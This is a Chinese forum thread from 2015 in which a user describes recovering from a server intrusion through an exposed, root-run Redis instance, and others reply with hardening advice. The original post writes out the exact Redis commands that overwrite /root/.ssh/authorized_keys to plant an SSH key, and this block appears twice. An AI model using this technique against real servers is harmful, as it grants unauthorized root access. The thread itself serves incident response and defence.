这是一个创建于 3303 天前的主题，其中的信息可能已经有所发展或是发生改变。
使用 config 可以随意修改文件，比如 /root/authorized_keys
.. 吓死宝宝了
第 1 条附言 · 2015-11-08 08:56:05 +08:00
夜里五点收到 aliyun 异地登陆报警，一开始以为是 1024 的锅。。
ps:阿里云这台是平时折腾用的，其他服务器不在阿里云。
一开始连不上， key ，密码都不行，使用 aliyun 后台修改了 root 密码，可以登陆了。
接着检查到 `/root/.ssh/authorized_keys` 发现 REDIS0006 字样开头，开始检查 redid ，发现是用 0.0.0.0 在监听，切使用 root 用户启动的 redid 。改 bind ，开 iptables 。
然后检查其他不在阿里云的服务器，发现都登不上，忽然有点慌，想让机房重置密码。
后来想到 redis 出的问题我是不是也可以利用，于是乎，
config set dir /root/.ssh/
config set dbfilename authorized_keys
set xxxx "\n\n\nssh-rsa zzzzzzzzzzzzzzzzzzzz\n\n\n"
save
我也可以登陆了。。。。修改 authorized_keys ， bind ， iptables 。。。。
上面就是完整经历
ps:阿里云这台是平时折腾用的，其他服务器不在阿里云。
一开始连不上， key ，密码都不行，使用 aliyun 后台修改了 root 密码，可以登陆了。
接着检查到 `/root/.ssh/authorized_keys` 发现 REDIS0006 字样开头，开始检查 redid ，发现是用 0.0.0.0 在监听，切使用 root 用户启动的 redid 。改 bind ，开 iptables 。
然后检查其他不在阿里云的服务器，发现都登不上，忽然有点慌，想让机房重置密码。
后来想到 redis 出的问题我是不是也可以利用，于是乎，
config set dir /root/.ssh/
config set dbfilename authorized_keys
set xxxx "\n\n\nssh-rsa zzzzzzzzzzzzzzzzzzzz\n\n\n"
save
我也可以登陆了。。。。修改 authorized_keys ， bind ， iptables 。。。。
上面就是完整经历
第 2 条附言 · 2015-11-08 09:09:52 +08:00
各位大神，为什么我的 /root/.ssh/authorized_keys 权限 644 也可以 key 登陆，确实有点奇怪，配服务器的时候因为自己的 key 也无法登陆执行过 restorecon -r ~/.ssh/
 |
1
Zzzzzzzzz 2015-11-08 08:31:50 +08:00  3
没 bind 127.0.0.1 只是问题之一
iptables 没对固定的几个端口开放白名单问题之二 问题之三是 redis 有权改 /root/下的文件说明是以 root 跑的 redis, 这是最大的问题 |
 |
2
void1900 OP @Zzzzzzzzz iptable 不知道谁关了，以前是靠 iptable 限制只本地的，就忽略了 bind 参数，还好收到 aliyun 异地登陆通知！ redis 怎么用其他用户跑？ `su xxx` 再启动？
|
 |
3
raingolee 2015-11-08 08:47:32 +08:00 via iPhone
用 root 起了 redis?
|
 |
5
msg7086 2015-11-08 08:50:05 +08:00
你 redis 怎么从 redis 账号提权修改 root 文件的……
|
|
7
msg7086 2015-11-08 09:01:15 +08:00 1
@void1900 随便抓个发行版（ Ubuntu Debian Arch ）里带的 redis 都是用 redis 用户启动的。
真没见过哪个会用 root 启动 redis …… PS: 善意提醒，一旦 root 用户被人登录过，请老老实实重装系统以及重新排查程序里可能被植入的木马。 |
 |
8
binux 2015-11-08 09:02:24 +08:00
config set dir /root/.ssh/
config set dbfilename authorized_keys set xxxx "\n\n\nssh-rsa zzzzzzzzzzzzzzzzzzzz\n\n\n" save 并不能登录， authorized_keys 的权限不是 600 |
 |
9
ETiV 2015-11-08 09:05:39 +08:00 via iPhone
能想到这么搞的人脑洞真是大啊……
|
|
10
void1900 OP @binux 为什么我的可以。。。 略微奇怪，我配服务器的时候因为自己的 key 都登陆不了，执行过 `restorecon -r /root/.ssh/`
|
|
11
void1900 OP @msg7086 谢谢，不过目前还没这考虑，因为东西比较多，不过有做异地备份，而且是半夜几点，多台服务器，而且没有把利用的漏洞关上，感觉是批量跑的。
|
 |
12
lightening 2015-11-08 09:11:20 +08:00
所以要把 Redis 装在 Docker 里……
|
|
14
raingolee 2015-11-08 09:18:25 +08:00
@void1900
恩切用户再启动就行 --- 为什么我的 /root/.ssh/authorized_keys 权限 644 也可以 key 登陆，确实有点奇怪，配服务器的时候因为自己的 key 也无法登陆执行过 restorecon -r ~/.ssh/ 这个你确认是 644 然后用 root key 登陆的嘛 |
|
15
void1900 OP @raingolee 确定 shh [email protected] 不需要输入密码就登陆了。
|
|
16
void1900 OP @raingolee 确定 shh [email protected] 不需要输入密码就登陆了。
|
|
17
msg7086 2015-11-08 09:21:13 +08:00
@raingolee 手动编译的话当然安装也要自己配置了。
你写 systemd 启动配置脚本的时候得加上 user/group 才行。 |
|
18
void1900 OP @raingolee
-rw-r--r--. 1 root root 123 11 月 7 19:16 authorized_keys |
 |
19
kaneg 2015-11-08 09:39:04 +08:00 via iPhone
应该禁用 root 直接登录，用 sudo
|
 |
20
yytsjq 2015-11-08 10:29:16 +08:00
本机使用的话， Redis 使用 UNIX sock 连接方式呢？是不是更安全些。。
|
 |
21
varrily 2015-11-08 10:38:54 +08:00
用 ufw 端口白名单了
|
 |
22
ryd994 2015-11-08 10:50:39 +08:00
一般该用 socks 文件吧……
不仅安全，性能也更好 |
 |
23
BOYPT 2015-11-08 11:51:36 +08:00
编译党的常见问题~
|
 |
24
dongxiaozhuo 2015-11-08 12:28:49 +08:00
@BOYPT 不只是编译党，好多开发觉得麻烦，各种喜欢开全端口。
|
 |
25
kn007 2015-11-08 12:30:01 +08:00
centos 编译党，表示使用 daemon 指定用户创建进程。
|
|
26
msg7086 2015-11-08 14:38:00 +08:00
@dongxiaozhuo 现在很多发行版的默认设定下就算端口全开也问题不大。
就是 ssh 得装个 fail2ban 。 |
 |
27
hisway 2015-11-09 14:44:41 +08:00
看来不断有人在扫这些端口~
|
|
28
void1900 OP |
Select Language